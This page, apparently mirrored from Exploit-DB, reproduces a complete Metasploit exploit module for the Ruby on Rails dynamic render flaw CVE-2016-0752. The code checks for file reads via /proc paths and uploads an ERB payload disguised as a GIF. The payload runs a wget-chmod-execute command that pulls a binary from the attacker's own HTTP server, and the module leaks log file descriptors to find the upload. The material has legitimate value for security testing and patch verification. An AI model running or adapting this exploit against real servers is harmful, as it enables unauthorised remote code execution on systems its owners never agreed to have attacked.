Ruby on Rails – Dynamic Render File Upload / Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2016-10-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40561/
  • require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution',
    'Description'=> %q{
    This module exploits a remote code execution vulnerability in the explicit render
    method when leveraging user parameters.
    This module has been tested across multiple versions of Ruby on Rails.
    The technique used by this module requires the specified
    endpoint to be using dynamic render paths, such as the following example:
    
    def show
    render params[:id]
    end
    
    Also, the vulnerable target will need a POST endpoint for the TempFile upload, this
    can literally be any endpoint. This module doesnt use the log inclusion method of
    exploitation due to it not being universal enough. Instead, a new code injection
    technique was found and used whereby an attacker can upload temporary image files
    against any POST endpoint and use them for the inclusion attack. Finally, you only
    get one shot at this if you are testing with the builtin rails server, use caution.
    },
    'Author' =>
    [
    'mr_me <mr_me@offensive-security.com>',# necromanced old bug & discovered new vector rce vector
    'John Poulin (forced-request)' # original render bug finder
    ],
    'References'=>
    [
    [ 'CVE', '2016-0752'],
    [ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'],# rails patch
    [ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'],# John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016
    [ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'], # John's original exploit
    ],
    'License'=> MSF_LICENSE,
    'Platform'=> ['linux', 'bsd'],
    'Arch'=> ARCH_X86,
    'Payload'=>
    {
    'DisableNops' => true,
    },
    'Privileged' => false,
    'Targets' =>
    [
    [ 'Ruby on Rails 4.0.8 July 2, 2014', {} ] # Other versions are also affected
    ],
    'DefaultTarget' => 0,
    'DisclosureDate' => 'Oct 16 2016'))
    register_options(
    [
    Opt::RPORT(3000),
    OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/users"]),
    OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
    ], self.class)
    end
    
    def check
    
    # this is the check for the dev environment
    res = send_request_cgi({
    'uri' =>normalize_uri(datastore['URIPATH'], "%2f"),
    'method'=>'GET',
    }, 60)
    
    # if the page controller is dynamically rendering, its for sure vuln
    if res and res.body =~ /render params/
    return CheckCode::Vulnerable
    end
    
    # this is the check for the prod environment
    res = send_request_cgi({
    'uri' =>normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"),
    'method'=>'GET',
    }, 60)
    
    # if we can read files, its likley we can execute code
    if res and res.body =~ /ruby/
    return CheckCode::Appears
    end
    return CheckCode::Safe
    end
    
    def on_request_uri(cli, request)
    if (not @pl)
    print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
    return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
    end
    
    def send_payload
    @bd = rand_text_alpha(8+rand(8))
    fn= rand_text_alpha(8+rand(8))
    un= rand_text_alpha(8+rand(8))
    pn= rand_text_alpha(8+rand(8))
    register_file_for_cleanup("/tmp/#{@bd}")
    cmd= "wget #{@service_url} -O /tmp/#{@bd};"
    cmd << "chmod 755 /tmp/#{@bd};"
    cmd << "/tmp/#{@bd}"
    pay = "<%=`#{cmd}`%>"
    print_status("uploading image...")
    data = Rex::MIME::Message.new
    data.add_part(pay, nil, nil, 'form-data; name="#{un}"; filename="#{fn}.gif"')
    res = send_request_cgi({
    'method' => 'POST',
    'cookie' => @cookie,
    'uri'=> normalize_uri(datastore['URIPATH'], pn),
    'ctype'=> "multipart/form-data; boundary=#{data.bound}",
    'data' => data.to_s
    })
    if res and res.code == 422 and res.body =~ /Tempfile:\/(.*)>/
    @path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>/
    return true
    else
    
    # this is where we pull the log file
    if leak_log
    return true
    end
    end
    return false
    end
    
    def leak_log
    
    # path to the log /proc/self/fd/7
    # this bypasses the extension check
    res = send_request_cgi({
    'uri' =>normalize_uri(datastore['URIPATH'], "proc%2fself%2ffd%2f7"),
    'method'=>'GET',
    }, 60)
    
    if res and res.code == 200 and res.body =~ /Tempfile:\/(.*)>, @original_filename=/
    @path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>, @original_filename=/
    return true
    end
    return false
    end
    
    def start_http_server
    @pl = generate_payload_exe
    @elf_sent = false
    downfile = rand_text_alpha(8+rand(8))
    resource_uri = '/' + downfile
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
    srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
    else
    srv_host = datastore['SRVHOST']
    end
    
    # do not use SSL for the attacking web server
    if datastore['SSL']
    ssl_restore = true
    datastore['SSL'] = false
    end
    
    @service_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
    service_url_payload = srv_host + resource_uri
    print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
    start_service({'Uri' => {
    'Proc' => Proc.new { |cli, req|
    on_request_uri(cli, req)
    },
    'Path' => resource_uri
    }})
    datastore['SSL'] = true if ssl_restore
    connect
    end
    
    def render_tmpfile
    @path.gsub!(/\//, '%2f')
    res = send_request_cgi({
    'uri' =>normalize_uri(datastore['URIPATH'], @path),
    'method'=>'GET',
    }, 1)
    end
    
    def exploit
    print_status("Sending initial request to detect exploitability")
    start_http_server
    if send_payload
    print_good("injected payload")
    render_tmpfile
    
    # we need to delay, for the stager
    select(nil, nil, nil, 5)
    end
    end
    end